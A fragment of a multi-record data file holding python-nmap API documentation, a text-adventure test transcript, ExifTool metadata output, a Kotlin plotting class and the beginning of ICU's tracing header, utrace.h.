name=\"PortScannerHostDict-sctp\"><strong>sctp</strong></a>(self, port)</dt><dd><tt>:returns:&nbsp;info&nbsp;for&nbsp;sctp&nbsp;port</tt></dd></dl>\n\n<dl><dt><a name=\"PortScannerHostDict-state\"><strong>state</strong></a>(self)</dt><dd><tt>:returns:&nbsp;host&nbsp;state</tt></dd></dl>\n\n<dl><dt><a name=\"PortScannerHostDict-tcp\"><strong>tcp</strong></a>(self, port)</dt><dd><tt>:param&nbsp;port:&nbsp;(int)&nbsp;tcp&nbsp;port<br>\n:returns:&nbsp;info&nbsp;for&nbsp;tpc&nbsp;port</tt></dd></dl>\n\n<dl><dt><a name=\"PortScannerHostDict-udp\"><strong>udp</strong></a>(self, port)</dt><dd><tt>:param&nbsp;port:&nbsp;(int)&nbsp;udp&nbsp;port<br>\n:returns:&nbsp;info&nbsp;for&nbsp;udp&nbsp;port</tt></dd></dl>\n\n<dl><dt><a name=\"PortScannerHostDict-uptime\"><strong>uptime</strong></a>(self)</dt><dd><tt>:returns:&nbsp;host&nbsp;state</tt></dd></dl>\n\n<hr>\nData descriptors defined here:<br>\n<dl><dt><strong>__dict__</strong></dt>\n<dd><tt>dictionary&nbsp;for&nbsp;instance&nbsp;variables&nbsp;(if&nbsp;defined)</tt></dd>\n</dl>\n<dl><dt><strong>__weakref__</strong></dt>\n<dd><tt>list&nbsp;of&nbsp;weak&nbsp;references&nbsp;to&nbsp;the&nbsp;object&nbsp;(if&nbsp;defined)</tt></dd>\n</dl>\n<hr>\nMethods inherited from <a href=\"builtins.html#dict\">builtins.dict</a>:<br>\n<dl><dt><a name=\"PortScannerHostDict-__contains__\"><strong>__contains__</strong></a>(self, key, /)</dt><dd><tt>True&nbsp;if&nbsp;D&nbsp;has&nbsp;a&nbsp;key&nbsp;k,&nbsp;else&nbsp;False.</tt></dd></dl>\n\n<dl><dt><a name=\"PortScannerHostDict-__delitem__\"><strong>__delitem__</strong></a>(self, key, /)</dt><dd><tt>Delete&nbsp;self[key].</tt></dd></dl>\n\n<dl><dt><a name=\"PortScannerHostDict-__eq__\"><strong>__eq__</strong></a>(self, value, /)</dt><dd><tt>Return&nbsp;self==value.</tt></dd></dl>\n\n<dl><dt><a name=\"PortScannerHostDict-__ge__\"><strong>__ge__</strong></a>(self, value, /)</dt><dd><tt>Return&nbsp;self&gt;=value.</tt></dd></dl>\n\n<dl><dt><a name=\"PortScannerHostDict-__getattribute__\"><strong>__getattribute__</strong></a>(self, name, /)</dt><dd><tt>Return&nbsp;getattr(self,&nbsp;name).</tt></dd></dl>\n\n<dl><dt><a name=\"PortScannerHostDict-__getitem__\"><strong>__getitem__</strong></a>(...)</dt><dd><tt>x.<a href=\"#PortScannerHostDict-__getitem__\">__getitem__</a>(y)&nbsp;&lt;==&gt;&nbsp;x[y]</tt></dd></dl>\n\n<dl><dt><a name=\"PortScannerHostDict-__gt__\"><strong>__gt__</strong></a>(self, value, /)</dt><dd><tt>Return&nbsp;self&gt;value.</tt></dd></dl>\n\n<dl><dt><a name=\"PortScannerHostDict-__init__\"><strong>__init__</strong></a>(self, /, *args, **kwargs)</dt><dd><tt>Initialize&nbsp;self.&nbsp;&nbsp;See&nbsp;help(type(self))&nbsp;for&nbsp;accurate&nbsp;signature.</tt></dd></dl>\n\n<dl><dt><a name=\"PortScannerHostDict-__iter__\"><strong>__iter__</strong></a>(self, /)</dt><dd><tt>Implement&nbsp;iter(self).</tt></dd></dl>\n\n<dl><dt><a name=\"PortScannerHostDict-__le__\"><strong>__le__</strong></a>(self, value, /)</dt><dd><tt>Return&nbsp;self&lt;=value.</tt></dd></dl>\n\n<dl><dt><a name=\"PortScannerHostDict-__len__\"><strong>__len__</strong></a>(self, /)</dt><dd><tt>Return&nbsp;len(self).</tt></dd></dl>\n\n<dl><dt><a name=\"PortScannerHostDict-__lt__\"><strong>__lt__</strong></a>(self, value, /)</dt><dd><tt>Return&nbsp;self&lt;value.</tt></dd></dl>\n\n<dl><dt><a name=\"PortScannerHostDict-__ne__\"><strong>__ne__</strong></a>(self, value, /)</dt><dd><tt>Return&nbsp;self!=value.</tt></dd></dl>\n\n<dl><dt><a name=\"PortScannerHostDict-__new__\"><strong>__new__</strong></a>(*args, **kwargs)<font color=\"#909090\"><font face=\"helvetica, arial\"> from <a href=\"builtins.html#type\">builtins.type</a></font></font></dt><dd><tt>Create&nbsp;and&nbsp;return&nbsp;a&nbsp;new&nbsp;<a href=\"builtins.html#object\">object</a>.&nbsp;&nbsp;See&nbsp;help(type)&nbsp;for&nbsp;accurate&nbsp;signature.</tt></dd></dl>\n\n<dl><dt><a name=\"PortScannerHostDict-__repr__\"><strong>__repr__</strong></a>(self, /)</dt><dd><tt>Return&nbsp;repr(self).</tt></dd></dl>\n\n<dl><dt><a name=\"PortScannerHostDict-__setitem__\"><strong>__setitem__</strong></a>(self, key, value, /)</dt><dd><tt>Set&nbsp;self[key]&nbsp;to&nbsp;value.</tt></dd></dl>\n\n<dl><dt><a name=\"PortScannerHostDict-__sizeof__\"><strong>__sizeof__</strong></a>(...)</dt><dd><tt>D.<a href=\"#PortScannerHostDict-__sizeof__\">__sizeof__</a>()&nbsp;-&gt;&nbsp;size&nbsp;of&nbsp;D&nbsp;in&nbsp;memory,&nbsp;in&nbsp;bytes</tt></dd></dl>\n\n<dl><dt><a name=\"PortScannerHostDict-clear\"><strong>clear</strong></a>(...)</dt><dd><tt>D.<a href=\"#PortScannerHostDict-clear\">clear</a>()&nbsp;-&gt;&nbsp;None.&nbsp;&nbsp;Remove&nbsp;all&nbsp;items&nbsp;from&nbsp;D.</tt></dd></dl>\n\n<dl><dt><a name=\"PortScannerHostDict-copy\"><strong>copy</strong></a>(...)</dt><dd><tt>D.<a href=\"#PortScannerHostDict-copy\">copy</a>()&nbsp;-&gt;&nbsp;a&nbsp;shallow&nbsp;copy&nbsp;of&nbsp;D</tt></dd></dl>\n\n<dl><dt><a name=\"PortScannerHostDict-fromkeys\"><strong>fromkeys</strong></a>(iterable, value=None, /)<font color=\"#909090\"><font face=\"helvetica, arial\"> from <a href=\"builtins.html#type\">builtins.type</a></font></font></dt><dd><tt>Returns&nbsp;a&nbsp;new&nbsp;<a href=\"builtins.html#dict\">dict</a>&nbsp;with&nbsp;keys&nbsp;from&nbsp;iterable&nbsp;and&nbsp;values&nbsp;equal&nbsp;to&nbsp;value.</tt></dd></dl>\n\n<dl><dt><a name=\"PortScannerHostDict-get\"><strong>get</strong></a>(...)</dt><dd><tt>D.<a href=\"#PortScannerHostDict-get\">get</a>(k[,d])&nbsp;-&gt;&nbsp;D[k]&nbsp;if&nbsp;k&nbsp;in&nbsp;D,&nbsp;else&nbsp;d.&nbsp;&nbsp;d&nbsp;defaults&nbsp;to&nbsp;None.</tt></dd></dl>\n\n<dl><dt><a name=\"PortScannerHostDict-items\"><strong>items</strong></a>(...)</dt><dd><tt>D.<a href=\"#PortScannerHostDict-items\">items</a>()&nbsp;-&gt;&nbsp;a&nbsp;set-like&nbsp;<a href=\"builtins.html#object\">object</a>&nbsp;providing&nbsp;a&nbsp;view&nbsp;on&nbsp;D's&nbsp;items</tt></dd></dl>\n\n<dl><dt><a name=\"PortScannerHostDict-keys\"><strong>keys</strong></a>(...)</dt><dd><tt>D.<a href=\"#PortScannerHostDict-keys\">keys</a>()&nbsp;-&gt;&nbsp;a&nbsp;set-like&nbsp;<a href=\"builtins.html#object\">object</a>&nbsp;providing&nbsp;a&nbsp;view&nbsp;on&nbsp;D's&nbsp;keys</tt></dd></dl>\n\n<dl><dt><a name=\"PortScannerHostDict-pop\"><strong>pop</strong></a>(...)</dt><dd><tt>D.<a href=\"#PortScannerHostDict-pop\">pop</a>(k[,d])&nbsp;-&gt;&nbsp;v,&nbsp;remove&nbsp;specified&nbsp;key&nbsp;and&nbsp;return&nbsp;the&nbsp;corresponding&nbsp;value.<br>\nIf&nbsp;key&nbsp;is&nbsp;not&nbsp;found,&nbsp;d&nbsp;is&nbsp;returned&nbsp;if&nbsp;given,&nbsp;otherwise&nbsp;KeyError&nbsp;is&nbsp;raised</tt></dd></dl>\n\n<dl><dt><a name=\"PortScannerHostDict-popitem\"><strong>popitem</strong></a>(...)</dt><dd><tt>D.<a href=\"#PortScannerHostDict-popitem\">popitem</a>()&nbsp;-&gt;&nbsp;(k,&nbsp;v),&nbsp;remove&nbsp;and&nbsp;return&nbsp;some&nbsp;(key,&nbsp;value)&nbsp;pair&nbsp;as&nbsp;a<br>\n2-tuple;&nbsp;but&nbsp;raise&nbsp;KeyError&nbsp;if&nbsp;D&nbsp;is&nbsp;empty.</tt></dd></dl>\n\n<dl><dt><a name=\"PortScannerHostDict-setdefault\"><strong>setdefault</strong></a>(...)</dt><dd><tt>D.<a href=\"#PortScannerHostDict-setdefault\">setdefault</a>(k[,d])&nbsp;-&gt;&nbsp;D.<a href=\"#PortScannerHostDict-get\">get</a>(k,d),&nbsp;also&nbsp;set&nbsp;D[k]=d&nbsp;if&nbsp;k&nbsp;not&nbsp;in&nbsp;D</tt></dd></dl>\n\n<dl><dt><a name=\"PortScannerHostDict-update\"><strong>update</strong></a>(...)</dt><dd><tt>D.<a href=\"#PortScannerHostDict-update\">update</a>([E,&nbsp;]**F)&nbsp;-&gt;&nbsp;None.&nbsp;&nbsp;Update&nbsp;D&nbsp;from&nbsp;<a href=\"builtins.html#dict\">dict</a>/iterable&nbsp;E&nbsp;and&nbsp;F.<br>\nIf&nbsp;E&nbsp;is&nbsp;present&nbsp;and&nbsp;has&nbsp;a&nbsp;.<a href=\"#PortScannerHostDict-keys\">keys</a>()&nbsp;method,&nbsp;then&nbsp;does:&nbsp;&nbsp;for&nbsp;k&nbsp;in&nbsp;E:&nbsp;D[k]&nbsp;=&nbsp;E[k]<br>\nIf&nbsp;E&nbsp;is&nbsp;present&nbsp;and&nbsp;lacks&nbsp;a&nbsp;.<a href=\"#PortScannerHostDict-keys\">keys</a>()&nbsp;method,&nbsp;then&nbsp;does:&nbsp;&nbsp;for&nbsp;k,&nbsp;v&nbsp;in&nbsp;E:&nbsp;D[k]&nbsp;=&nbsp;v<br>\nIn&nbsp;either&nbsp;case,&nbsp;this&nbsp;is&nbsp;followed&nbsp;by:&nbsp;for&nbsp;k&nbsp;in&nbsp;F:&nbsp;&nbsp;D[k]&nbsp;=&nbsp;F[k]</tt></dd></dl>\n\n<dl><dt><a name=\"PortScannerHostDict-values\"><strong>values</strong></a>(...)</dt><dd><tt>D.<a href=\"#PortScannerHostDict-values\">values</a>()&nbsp;-&gt;&nbsp;an&nbsp;<a href=\"builtins.html#object\">object</a>&nbsp;providing&nbsp;a&nbsp;view&nbsp;on&nbsp;D's&nbsp;values</tt></dd></dl>\n\n<hr>\nData and other attributes inherited from <a href=\"builtins.html#dict\">builtins.dict</a>:<br>\n<dl><dt><strong>__hash__</strong> = None</dl>\n\n</td></tr></table> <p>\n<table width=\"100%\" cellspacing=0 cellpadding=2 border=0 summary=\"section\">\n<tr bgcolor=\"#ffc8d8\">\n<td colspan=3 valign=bottom>&nbsp;<br>\n<font color=\"#000000\" face=\"helvetica, arial\"><a name=\"PortScannerYield\">class <strong>PortScannerYield</strong></a>(<a href=\"nmap.html#PortScannerAsync\">PortScannerAsync</a>)</font></td></tr>\n \n<tr bgcolor=\"#ffc8d8\"><td rowspan=2><tt>&nbsp;&nbsp;&nbsp;</tt></td>\n<td colspan=2><tt><a href=\"#PortScannerYield\">PortScannerYield</a>&nbsp;allows&nbsp;to&nbsp;use&nbsp;nmap&nbsp;from&nbsp;python&nbsp;with&nbsp;a&nbsp;generator<br>\nfor&nbsp;each&nbsp;host&nbsp;scanned,&nbsp;yield&nbsp;is&nbsp;called&nbsp;with&nbsp;scan&nbsp;result&nbsp;for&nbsp;the&nbsp;host<br>&nbsp;</tt></td></tr>\n<tr><td>&nbsp;</td>\n<td width=\"100%\"><dl><dt>Method resolution order:</dt>\n<dd><a href=\"nmap.html#PortScannerYield\">PortScannerYield</a></dd>\n<dd><a href=\"nmap.html#PortScannerAsync\">PortScannerAsync</a></dd>\n<dd><a href=\"builtins.html#object\">builtins.object</a></dd>\n</dl>\n<hr>\nMethods defined here:<br>\n<dl><dt><a name=\"PortScannerYield-__init__\"><strong>__init__</strong></a>(self)</dt><dd><tt>Initialize&nbsp;the&nbsp;module<br>\n&nbsp;<br>\n*&nbsp;detects&nbsp;nmap&nbsp;on&nbsp;the&nbsp;system&nbsp;and&nbsp;nmap&nbsp;version<br>\n*&nbsp;may&nbsp;raise&nbsp;<a href=\"#PortScannerError\">PortScannerError</a>&nbsp;exception&nbsp;if&nbsp;nmap&nbsp;is&nbsp;not&nbsp;found&nbsp;in&nbsp;the&nbsp;path</tt></dd></dl>\n\n<dl><dt><a name=\"PortScannerYield-scan\"><strong>scan</strong></a>(self, hosts='127.0.0.1', ports=None, arguments='-sV', sudo=False)</dt><dd><tt>Scan&nbsp;given&nbsp;hosts&nbsp;in&nbsp;a&nbsp;separate&nbsp;process&nbsp;and&nbsp;return&nbsp;host&nbsp;by&nbsp;host&nbsp;result&nbsp;using&nbsp;callback&nbsp;function<br>\n&nbsp;<br>\n<a href=\"#PortScannerError\">PortScannerError</a>&nbsp;exception&nbsp;from&nbsp;standard&nbsp;nmap&nbsp;is&nbsp;catched&nbsp;and&nbsp;you&nbsp;won't&nbsp;know&nbsp;about&nbsp;it<br>\n&nbsp;<br>\n:param&nbsp;hosts:&nbsp;string&nbsp;for&nbsp;hosts&nbsp;as&nbsp;nmap&nbsp;use&nbsp;it&nbsp;'scanme.nmap.org'&nbsp;or&nbsp;'198.116.0-255.1-127'&nbsp;or&nbsp;'216.163.128.20/20'<br>\n:param&nbsp;ports:&nbsp;string&nbsp;for&nbsp;ports&nbsp;as&nbsp;nmap&nbsp;use&nbsp;it&nbsp;'22,53,110,143-4564'<br>\n:param&nbsp;arguments:&nbsp;string&nbsp;of&nbsp;arguments&nbsp;for&nbsp;nmap&nbsp;'-sU&nbsp;-sX&nbsp;-sC'<br>\n:param&nbsp;callback:&nbsp;callback&nbsp;function&nbsp;which&nbsp;takes&nbsp;(host,&nbsp;scan_data)&nbsp;as&nbsp;arguments<br>\n:param&nbsp;sudo:&nbsp;launch&nbsp;nmap&nbsp;with&nbsp;sudo&nbsp;if&nbsp;true</tt></dd></dl>\n\n<dl><dt><a name=\"PortScannerYield-still_scanning\"><strong>still_scanning</strong></a>(self)</dt></dl>\n\n<dl><dt><a name=\"PortScannerYield-stop\"><strong>stop</strong></a>(self)</dt></dl>\n\n<dl><dt><a name=\"PortScannerYield-wait\"><strong>wait</strong></a>(self, timeout=None)</dt></dl>\n\n<hr>\nMethods inherited from <a href=\"nmap.html#PortScannerAsync\">PortScannerAsync</a>:<br>\n<dl><dt><a name=\"PortScannerYield-__del__\"><strong>__del__</strong></a>(self)</dt><dd><tt>Cleanup&nbsp;when&nbsp;deleted</tt></dd></dl>\n\n<hr>\nData descriptors inherited from <a href=\"nmap.html#PortScannerAsync\">PortScannerAsync</a>:<br>\n<dl><dt><strong>__dict__</strong></dt>\n<dd><tt>dictionary&nbsp;for&nbsp;instance&nbsp;variables&nbsp;(if&nbsp;defined)</tt></dd>\n</dl>\n<dl><dt><strong>__weakref__</strong></dt>\n<dd><tt>list&nbsp;of&nbsp;weak&nbsp;references&nbsp;to&nbsp;the&nbsp;object&nbsp;(if&nbsp;defined)</tt></dd>\n</dl>\n</td></tr></table></td></tr></table><p>\n<table width=\"100%\" cellspacing=0 cellpadding=2 border=0 summary=\"section\">\n<tr bgcolor=\"#eeaa77\">\n<td colspan=3 valign=bottom>&nbsp;<br>\n<font color=\"#ffffff\" face=\"helvetica, arial\"><big><strong>Functions</strong></big></font></td></tr>\n \n<tr><td bgcolor=\"#eeaa77\"><tt>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</tt></td><td>&nbsp;</td>\n<td width=\"100%\"><dl><dt><a name=\"-__scan_progressive__\"><strong>__scan_progressive__</strong></a>(self, hosts, ports, arguments, callback, sudo)</dt><dd><tt>Used&nbsp;by&nbsp;<a href=\"#PortScannerAsync\">PortScannerAsync</a>&nbsp;for&nbsp;callback</tt></dd></dl>\n <dl><dt><a name=\"-convert_nmap_output_to_encoding\"><strong>convert_nmap_output_to_encoding</strong></a>(value, code='ascii')</dt><dd><tt>Change&nbsp;encoding&nbsp;for&nbsp;scan_result&nbsp;<a href=\"builtins.html#object\">object</a>&nbsp;from&nbsp;unicode&nbsp;to&nbsp;whatever<br>\n&nbsp;<br>\n:param&nbsp;value:&nbsp;scan_result&nbsp;as&nbsp;dictionnary<br>\n:param&nbsp;code:&nbsp;default&nbsp;=&nbsp;\"ascii\",&nbsp;encoding&nbsp;destination<br>\n&nbsp;<br>\n:returns:&nbsp;scan_result&nbsp;as&nbsp;dictionnary&nbsp;with&nbsp;new&nbsp;encoding</tt></dd></dl>\n</td></tr></table><p>\n<table width=\"100%\" cellspacing=0 cellpadding=2 border=0 summary=\"section\">\n<tr bgcolor=\"#55aa55\">\n<td colspan=3 valign=bottom>&nbsp;<br>\n<font color=\"#ffffff\" face=\"helvetica, arial\"><big><strong>Data</strong></big></font></td></tr>\n \n<tr><td bgcolor=\"#55aa55\"><tt>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</tt></td><td>&nbsp;</td>\n<td width=\"100%\"><strong>__last_modification__</strong> = '2016.07.29'</td></tr></table><p>\n<table width=\"100%\" cellspacing=0 cellpadding=2 border=0 summary=\"section\">\n<tr bgcolor=\"#7799ee\">\n<td colspan=3 valign=bottom>&nbsp;<br>\n<font color=\"#ffffff\" face=\"helvetica, arial\"><big><strong>Author</strong></big></font></td></tr>\n \n<tr><td bgcolor=\"#7799ee\"><tt>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</tt></td><td>&nbsp;</td>\n<td width=\"100%\">Alexandre&nbsp;Norman&nbsp;(norman@xael.org)</td></tr></table>\n</body></html>"} {"text": ".f ../test_bring_files/test_bring_8.txt\n\n >>> End context\nyou are in the kitchen\nto the south there is the living_room\nyou see some book -s\n? what do you want to do\n\n >>> End context\nyou are in the library\nto the south there is the hall\nyou see nothing\n? what do you want to do\n\n >>> End context\nyou are in the bathroom\nto the south there is the corridor\nyou see nothing\n? what do you want to do\n\n >>> End context\nyou are in the veranda\nto the east there is the living_room\nyou see nothing\n? what do you want to do\n\n >>> End context\nyou are in the living_room\nto the east there is the hall\nto the north there is the kitchen\nto the west there is the veranda\nyou see nothing\n? what do you want to do\n\n >>> End context\nyou are in the hall\nto the east there is the corridor\nto the north there is the library\nto the west there is the living_room\nto the south there is the garden\nyou see nothing\nAlfred is here\n? what do you want to do\n\n >>> End context\nyou are in the corridor\nto the east there is the bedroom\nto the north there is the bathroom\nto the west there is the hall\nto the south there is the studio\nyou see nothing\n? what do you want to do\n\n >>> End context\nyou are in the bedroom\nto the west there is the corridor\nyou see nothing\n? what do you want to do\n\n >>> End context\nyou are in the garden\nto the north there is the hall\nto the south there is the street\nyou see nothing\n? what do you want to do\n\n >>> End context\nyou are in the studio\nto the north there is the corridor\nyou see nothing\n? what do you want to do\n\n >>> End context\nyou are in the street\nto the north there is the garden\nyou see nothing\n? what do you want to do\n\n >>> End context\nyou are in the hall\nto the east there is the corridor\nto the north there is the library\nto the west there is the living_room\nto the south there is the garden\nyou see nothing\nAlfred is here\n? what do you want to do\nbring a book to Alfred\n.x\n -> west\n.\nwest\n\n >>> End context\nyou are in the living_room\nto the east there is the hall\nto the north there is the kitchen\nto the west there is the veranda\nyou see nothing\n? what do you want to do\n.x\n -> north\n.\nnorth\n\n >>> End context\nyou are in the kitchen\nto the south there is the living_room\nyou see some book -s\n? what do you want to do\n.x\n -> take the\n ... -> book\n.\ntake the book\nyou take a book\n.x\n -> south\n.\nsouth\n\n >>> End context\nyou are in the living_room\nto the east there is the hall\nto the north there is the kitchen\nto the west there is the veranda\nyou see nothing\n? what do you want to do\n.x\n -> east\n.\neast\n\n >>> End context\nyou are in the hall\nto the east there is the corridor\nto the north there is the library\nto the west there is the living_room\nto the south there is the garden\nyou see nothing\nAlfred is here\n? what do you want to do\n.x\n -> give the\n ... -> book to Alfred\n.\ngive the book to Alfred\nyou give the book to Alfred\n.x\n -> \n.\n\n\n >>> End context\n.q\n.q\n"} {"text": "[ExifTool, ExifTool, ExifTool] ExifToolVersion - ExifTool Version Number: 9.93\n[File, System, Image] FileName - File Name: FLAC.flac\n[File, System, Image] Directory - Directory: t/images\n[File, System, Image] FileSize - File Size: 282 bytes\n[File, System, Time] FileModifyDate - File Modification Date/Time: 2006:11:13 15:12:26-05:00\n[File, System, Time] FileAccessDate - File Access Date/Time: 2015:04:18 07:17:35-04:00\n[File, System, Time] FileInodeChangeDate - File Inode Change Date/Time: 2015:03:07 15:31:09-05:00\n[File, System, Image] FilePermissions - File Permissions: rw-r--r--\n[File, File, Image] FileType - File Type: FLAC\n[File, File, Image] FileTypeExtension - File Type Extension: flac\n[File, File, Image] MIMEType - MIME Type: audio/flac\n[FLAC, FLAC, Audio] Bit000-015 - Block Size Min: 4608\n[FLAC, FLAC, Audio] Bit016-031 - Block Size Max: 4608\n[FLAC, FLAC, Audio] Bit032-055 - Frame Size Min: 16777215\n[FLAC, FLAC, Audio] Bit056-079 - Frame Size Max: 0\n[FLAC, FLAC, Audio] Bit080-099 - Sample Rate: 8000\n[FLAC, FLAC, Audio] Bit100-102 - Channels: 2\n[FLAC, FLAC, Audio] Bit103-107 - Bits Per Sample: 8\n[FLAC, FLAC, Audio] Bit108-143 - Total Samples: 0\n[Vorbis, Vorbis, Audio] vendor - Vendor: reference libFLAC 1.1.2 20050205\n[Vorbis, Vorbis, Audio] REPLAYGAIN_TRACK_PEAK - Replay Gain Track Peak: 0.00000000\n[Vorbis, Vorbis, Audio] REPLAYGAIN_TRACK_GAIN - Replay Gain Track Gain: -24601.00 dB\n[Vorbis, Vorbis, Audio] REPLAYGAIN_ALBUM_PEAK - Replay Gain Album Peak: 0.00000000\n[Vorbis, Vorbis, Audio] REPLAYGAIN_ALBUM_GAIN - Replay Gain Album Gain: -24601.00 dB\n[Vorbis, Vorbis, Audio] TITLE - Title: ExifTool test\n[Vorbis, Vorbis, Author] COPYRIGHT - Copyright: Phil Harvey\n"} {"text": "/*\n * Copyright (c) 2019. JetBrains s.r.o.\n * Use of this source code is governed by the MIT license that can be found in the LICENSE file.\n */\n\npackage jetbrains.datalore.plot.base.pos\n\nimport jetbrains.datalore.base.geometry.DoubleVector\nimport jetbrains.datalore.plot.base.Aesthetics\nimport jetbrains.datalore.plot.base.DataPointAesthetics\nimport jetbrains.datalore.plot.base.GeomContext\nimport jetbrains.datalore.plot.base.PositionAdjustment\n\nclass JitterDodgePos(aesthetics: Aesthetics, groupCount: Int, width: Double?, jitterWidth: Double?, jitterHeight: Double?) :\n PositionAdjustment {\n private val myJitterPosHelper: PositionAdjustment\n private val myDodgePosHelper: PositionAdjustment\n\n init {\n myJitterPosHelper = JitterPos(jitterWidth, jitterHeight)\n myDodgePosHelper = DodgePos(aesthetics, groupCount, width)\n }\n\n override fun translate(v: DoubleVector, p: DataPointAesthetics, ctx: GeomContext): DoubleVector {\n val afterJitter = myJitterPosHelper.translate(v, p, ctx)\n return myDodgePosHelper.translate(afterJitter, p, ctx)\n }\n\n override fun handlesGroups(): Boolean {\n return PositionAdjustments.Meta.JITTER_DODGE.handlesGroups()\n }\n}\n"} {"text": "/*\n*******************************************************************************\n*\n* Copyright (C) 2003-2006, International Business Machines\n* Corporation and others. All Rights Reserved.\n*\n*******************************************************************************\n* file name: utrace.h\n* encoding: US-ASCII\n* tab size: 8 (not used)\n* indentation:4\n*\n* created on: 2003aug06\n* created by: Markus W. Scherer\n*\n* Definitions for ICU tracing/logging.\n*\n*/\n\n#ifndef __UTRACE_H__\n#define __UTRACE_H__\n\n#include <stdarg.h>\n#include \"unicode/utypes.h\"\n\n/**\n * \\file\n * \\brief C API: Definitions for ICU tracing/logging. \n *\n * This provides API for debugging the internals of ICU without the use of\n * a traditional debugger.\n *\n * By default, tracing is disabled in ICU. If you need to debug ICU with \n * tracing, please compile ICU with the --enable-tracing configure option.\n */\n \nU_CDECL_BEGIN\n\n/**\n * Trace severity levels. Higher levels increase the verbosity of the trace output.\n * @see utrace_setLevel\n * @stable ICU 2.8\n */\ntypedef enum UTraceLevel {\n /** Disable all tracing @stable ICU 2.8*/\n UTRACE_OFF=-1,\n /** Trace error conditions only @stable ICU 2.8*/\n UTRACE_ERROR=0,\n /** Trace errors and warnings @stable ICU 2.8*/\n UTRACE_WARNING=3,\n /** Trace opens and closes of ICU services @stable ICU 2.8*/\n UTRACE_OPEN_CLOSE=5,\n /** Trace an intermediate number of ICU operations @stable ICU 2.8*/\n UTRACE_INFO=7,\n /** Trace the maximum number of ICU operations @stable ICU 2.8*/\n UTRACE_VERBOSE=9\n} UTraceLevel;\n\n/**\n * These are the ICU functions that will be traced when tracing is enabled.\n * @stable ICU 2.8\n */\ntypedef enum UTraceFunctionNumber {\n UTRACE_FUNCTION_START=0,\n UTRACE_U_INIT=UTRACE_FUNCTION_START,\n UTRACE_U_CLEANUP,\n UTRACE_FUNCTION_LIMIT,\n\n UTRACE_CONVERSION_START=0x1000,\n UTRACE_UCNV_OPEN=UTRACE_CONVERSION_START,\n UTRACE_UCNV_OPEN_PACKAGE,\n UTRACE_UCNV_OPEN_ALGORITHMIC,\n UTRACE_UCNV_CLONE,\n UTRACE_UCNV_CLOSE,\n UTRACE_UCNV_FLUSH_CACHE,\n UTRACE_UCNV_LOAD,\n UTRACE_UCNV_UNLOAD,\n UTRACE_CONVERSION_LIMIT,\n\n UTRACE_COLLATION_START=0x2000,\n UTRACE_UCOL_OPEN=UTRACE_COLLATION_START,\n UTRACE_UCOL_CLOSE,\n UTRACE_UCOL_STRCOLL,\n UTRACE_UCOL_GET_SORTKEY,\n UTRACE_UCOL_GETLOCALE,\n UTRACE_UCOL_NEXTSORTKEYPART,\n UTRACE_UCOL_STRCOLLITER,\n UTRACE_UCOL_OPEN_FROM_SHORT_STRING,\n UTRACE_COLLATION_LIMIT\n} UTraceFunctionNumber;\n\n/**\n * Setter for the trace level.\n * @param traceLevel A UTraceLevel value.\n * @stable ICU 2.8\n */\nU_STABLE void U_EXPORT2\nutrace_setLevel(int32_t traceLevel);\n\n/**\n * Getter for the trace level.\n * @return The UTraceLevel value being used by ICU.\n * @stable ICU 2.8\n */\nU_STABLE int32_t U_EXPORT2\nutrace_getLevel(void);\n\n/* Trace function pointers types ----------------------------- */\n\n/**\n * Type signature for the trace function to be called when entering a function.\n * @param context value supplied at the time the trace functions are set.\n * @param fnNumber Enum value indicating the ICU function being entered.\n * @stable ICU 2.8\n */\ntypedef void U_CALLCONV\nUTraceEntry(const void *context, int32_t fnNumber);\n\n/**\n * Type signature for the trace function to be called when exiting from a function.\n * @param context value supplied at the time the trace functions are set.\n * @param fnNumber Enum value indicating the ICU function being exited.\n * @param fmt A formatting string that describes the number and types\n * of arguments included with the variable args. The fmt\n * string has the same form as the utrace_vformat format\n * string.\n * @param args A variable arguments list. Contents are described by\n * the fmt parameter.\n * @see utrace_vformat\n * @stable ICU 2.8\n */\ntypedef void U_CALLCONV\nUTraceExit(const void *context, int32_t fnNumber, \n const char *fmt, va_list args);\n\n/**\n * Type signature for the trace function to be called from within an ICU function\n * to display data or messages.\n * @param context value supplied at the time the trace functions are set.\n * @param fnNumber Enum value indicating the ICU function being exited.\n * @param level The current tracing level\n * @param fmt A format string describing the tracing data that is supplied\n * as variable args\n * @param args The data being traced, passed as variable args.\n * @stable ICU 2.8\n */\ntypedef void U_CALLCONV\nUTraceData(const void *context, int32_t fnNumber, int32_t level,\n const char *fmt, va_list args);\n\n/**\n * Set ICU Tracing functions. Installs application-provided tracing\n * functions into ICU. After doing this, subsequent ICU operations\n * will call back to the installed functions, providing a trace\n * of the use of ICU. Passing a NULL pointer for a tracing function\n * is allowed, and inhibits tracing action at points where that function\n * would be called.\n * <p>\n * Tracing and Threads: Tracing functions are global to a process, and\n * will be called in response to ICU operations performed by any\n * thread. If tracing of an individual thread is desired, the\n * tracing functions must themselves filter by checking that the\n * current thread is the desired thread.\n *\n * @param context an uninterpretted pointer. Whatever is passed in\n * here will in turn be passed to each of the tracing\n * functions UTraceEntry, UTraceExit and UTraceData.\n * ICU does not use or alter this pointer.\n * @param e Callback function to be called on entry to a \n * a traced ICU function.\n * @param x Callback function to be called on exit from a\n * traced ICU function.\n * @param d Callback function to be called from within a \n * traced ICU function, for the purpose of providing\n * data to the trace.\n *\n * @stable ICU 2.8\n */\nU_STABLE void U_EXPORT2\nutrace_setFunctions(const void *context,\n UTraceEntry *e, UTraceExit *x, UTraceData *d);\n\n/**\n * Get the currently installed ICU tracing functions. Note that a null function\n * pointer will be returned if no trace function has been set.\n *\n * @param context The currently installed tracing context.\n * @param e The currently installed UTraceEntry function.\n * @param x The currently installed UTraceExit function.\n * @param d The currently installed UTraceData function.\n * @stable ICU 2.8\n */\nU_STABLE void U_EXPORT2\nutrace_getFunctions(const void **context,\n UTraceEntry **e, UTraceExit **x, UTraceData **d);\n\n\n\n/*\n *\n * ICU trace format string syntax\n *\n * Format Strings are passed to UTraceData functions, and define the\n * number and types of the trace data being passed on each call.\n *\n * The UTraceData function, which is supplied by the application,\n * not by ICU, can either forward the trace data (passed via\n * varargs) and the format string back to ICU for formatting into\n * a displayable string, or it can interpret the format itself,\n * and do as it wishes with the trace data.\n *\n *\n * Goals for the format string\n * - basic data output\n * - easy to use for trace programmer\n * - sufficient provision for data types for trace output readability\n * - well-defined types and binary portable APIs\n *\n * Non-goals\n * - printf compatibility\n * - fancy formatting\n * - argument reordering and other internationalization features\n *\n * 